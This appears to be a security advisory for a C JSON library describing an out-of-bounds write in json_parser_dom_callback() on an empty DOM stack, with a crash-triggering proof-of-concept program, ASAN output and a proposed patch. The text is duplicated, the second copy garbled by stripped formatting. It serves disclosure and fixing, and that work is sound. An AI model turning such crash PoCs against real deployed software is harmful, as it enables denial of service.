Summary
json_parser_dom_callback() (json.c:1057) computes a stack index as ctx->stack_offset - 1 without
validating that stack_offset > 0. When the DOM stack is empty (stack_offset == 0) and a JSON_KEY or
value-type callback (JSON_STRING, JSON_INT, JSON_FLOAT, JSON_NULL, JSON_TRUE, JSON_FALSE) is
delivered, stack[-1] is dereferenced, producing a heap out-of-bounds write that crashes the process
(SIGSEGV).
The same function's JSON_OBJECT_END / JSON_ARRAY_END handler already includes the stack_offset > 0
guard at line 1051, confirming this is an oversight rather than a deliberate design choice. The normal
json_parser_string() parsing path is unaffected because the state machine guarantees correct nesting order.
Affected Code
| File |
Function |
Line |
json.c |
json_parser_dom_callback() — JSON_KEY handler |
1055–1061 |
json.c |
json_parser_dom_callback() — value-type handler |
1063–1076 |
Root Cause
Path A — JSON_KEY with empty stack (json.c:1055–1061)
When stack_offset == 0, the expression ctx->stack_offset - 1 underflows (unsigned wrap to 0xFFFFFFFF),
causing stack to point one json_val_t before the heap allocation. The subsequent memory_calloc writes the
returned pointer to that invalid address:
case JSON_KEY:
stack = &(ctx->stack[ctx->stack_offset - 1]); // stack_offset=0 ⇒ stack[-1]
stack->key = memory_calloc(ctx->user_calloc, length + 1, sizeof(char));
stack->key_length = length;
if (!stack->key)
return JSON_ERROR_NO_MEMORY;
memcpy(stack->key, data, length);
break;
Path B — value types with empty stack (json.c:1063–1076)
The same unchecked stack_offset - 1 access exists in the handler for JSON_STRING, JSON_INT,
JSON_FLOAT, JSON_NULL, JSON_TRUE, and JSON_FALSE:
case JSON_STRING:
case JSON_INT:
case JSON_FLOAT:
case JSON_NULL:
case JSON_TRUE:
case JSON_FALSE:
stack = &(ctx->stack[ctx->stack_offset - 1]); // same unchecked subtraction
v = ctx->create_data(type, data, length);
if (!v)
return JSON_ERROR_CALLBACK;
if (ctx->append(stack->val, stack->key, stack->key_length, v))
return JSON_ERROR_CALLBACK;
memory_free(ctx->user_free, stack->key);
break;
Additionally, the JSON_OBJECT_END / JSON_ARRAY_END handler at line 1051 already contains the guard
(if (ctx->stack_offset > 0)) that is missing from the KEY and value-type handlers, confirming an
inconsistent-defensive-programming defect.
Proof of Concept
#include <stdlib.h>
#include <string.h>
#include "json.h"
static void *cs(int n, int o) { (void)n; (void)o; return malloc(1); }
static void *cd(int t, const char *d, uint32_t l) { (void)t; return malloc(l+1); }
static int ap(void *p, char *k, uint32_t kl, void *v)
{ (void)p; (void)k; (void)kl; (void)v; return 0; }
int main(void) {
json_parser_dom dom;
memset(&dom, 0, sizeof(dom));
dom.stack_size = 1024;
dom.stack = calloc(dom.stack_size, sizeof(*dom.stack));
dom.stack_offset = 0; /* EMPTY STACK */
dom.create_structure = cs;
dom.create_data = cd;
dom.append = ap;
/* json.c:1057 — stack[-1] with stack_offset=0 → SIGSEGV */
json_parser_dom_callback(&dom, JSON_KEY, "key", 3);
return 0; /* never reached */
}
Compile and run:
gcc -fsanitize=address -g -o poc poc.c json.c && ./poc
ASAN output:
==183670==ERROR: AddressSanitizer: SEGV on unknown address 0x52c8000001f0
#0 json_parser_dom_callback /libjson/json.c:1057
#1 main /libjson/poc.c:30
#2 __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
#3 _start (/libjson/poc+0x8344)
SUMMARY: AddressSanitizer: SEGV /libjson/json.c:1057 in json_parser_dom_callback
Attack Chain
json_parser_dom_callback() called with stack_offset=0, type=JSON_KEY
│
▼
stack = &ctx->stack[0 - 1] → stack points before the heap allocation
│
▼
stack->key = memory_calloc(...) → writes to illegal address
│
▼
SIGSEGV → process crash (DoS) / potential heap metadata corruption
Impact
- Denial of Service —
stack[-1] dereference crashes the process with SIGSEGV
- Inconsistent API safety —
json_parser_dom_callback() is a public API (declared in json.h:223) but
lacks input validation, violating the principle of least surprise for callers
- Normal parsing unaffected —
json_parser_string() state machine guarantees correct nesting, so this
path is unreachable through standard JSON parsing
- Third-party wrapper risk — wrappers that invoke the DOM callback API with out-of-order events may
trigger the crash
Proposed Fix
Fix 1 — Add stack_offset guard to JSON_KEY handler (json.c:1055)
case JSON_KEY:
+ if (ctx->stack_offset == 0)
+ return JSON_ERROR_UNEXPECTED_CHAR;
stack = &(ctx->stack[ctx->stack_offset - 1]);
stack->key = memory_calloc(ctx->user_calloc, length + 1, sizeof(char));
Fix 2 — Add stack_offset guard to value-type handler (json.c:1063)
case JSON_STRING:
case JSON_INT:
case JSON_FLOAT:
case JSON_NULL:
case JSON_TRUE:
case JSON_FALSE:
+ if (ctx->stack_offset == 0)
+ return JSON_ERROR_UNEXPECTED_CHAR;
stack = &(ctx->stack[ctx->stack_offset - 1]);
v = ctx->create_data(type, data, length);
This mirrors the existing guard already present in the JSON_OBJECT_END / JSON_ARRAY_END handler at
json.c:1051, making the defensive posture consistent across all event types.
Environment
- libjson version: latest master
- OS: Linux x86_64
- Compiler: GCC (with and without
-fsanitize=address)
References
- CWE-129: Improper Validation of Array Index
- CWE-787: Out-of-bounds Write
- CERT C ARR30-C: Do not form or use out-of-bounds pointers or array subscripts
Summary
json_parser_dom_callback()(json.c:1057) computes a stack index asctx->stack_offset - 1withoutvalidating that
stack_offset > 0. When the DOM stack is empty (stack_offset == 0) and aJSON_KEYorvalue-type callback (
JSON_STRING,JSON_INT,JSON_FLOAT,JSON_NULL,JSON_TRUE,JSON_FALSE) isdelivered,
stack[-1]is dereferenced, producing a heap out-of-bounds write that crashes the process(SIGSEGV).
The same function's
JSON_OBJECT_END/JSON_ARRAY_ENDhandler already includes thestack_offset > 0guard at line 1051, confirming this is an oversight rather than a deliberate design choice. The normal
json_parser_string()parsing path is unaffected because the state machine guarantees correct nesting order.Affected Code
json.cjson_parser_dom_callback()—JSON_KEYhandlerjson.cjson_parser_dom_callback()— value-type handlerRoot Cause
Path A —
JSON_KEYwith empty stack (json.c:1055–1061)When
stack_offset == 0, the expressionctx->stack_offset - 1underflows (unsigned wrap to0xFFFFFFFF),causing
stackto point onejson_val_tbefore the heap allocation. The subsequentmemory_callocwrites thereturned pointer to that invalid address:
Path B — value types with empty stack (
json.c:1063–1076)The same unchecked
stack_offset - 1access exists in the handler forJSON_STRING,JSON_INT,JSON_FLOAT,JSON_NULL,JSON_TRUE, andJSON_FALSE:Additionally, the
JSON_OBJECT_END/JSON_ARRAY_ENDhandler at line 1051 already contains the guard(
if (ctx->stack_offset > 0)) that is missing from the KEY and value-type handlers, confirming aninconsistent-defensive-programming defect.
Proof of Concept
Compile and run:
gcc -fsanitize=address -g -o poc poc.c json.c && ./pocASAN output:
Attack Chain
Impact
stack[-1]dereference crashes the process with SIGSEGVjson_parser_dom_callback()is a public API (declared injson.h:223) butlacks input validation, violating the principle of least surprise for callers
json_parser_string()state machine guarantees correct nesting, so thispath is unreachable through standard JSON parsing
trigger the crash
Proposed Fix
Fix 1 — Add
stack_offsetguard toJSON_KEYhandler (json.c:1055)Fix 2 — Add
stack_offsetguard to value-type handler (json.c:1063)This mirrors the existing guard already present in the
JSON_OBJECT_END/JSON_ARRAY_ENDhandler atjson.c:1051, making the defensive posture consistent across all event types.Environment
-fsanitize=address)References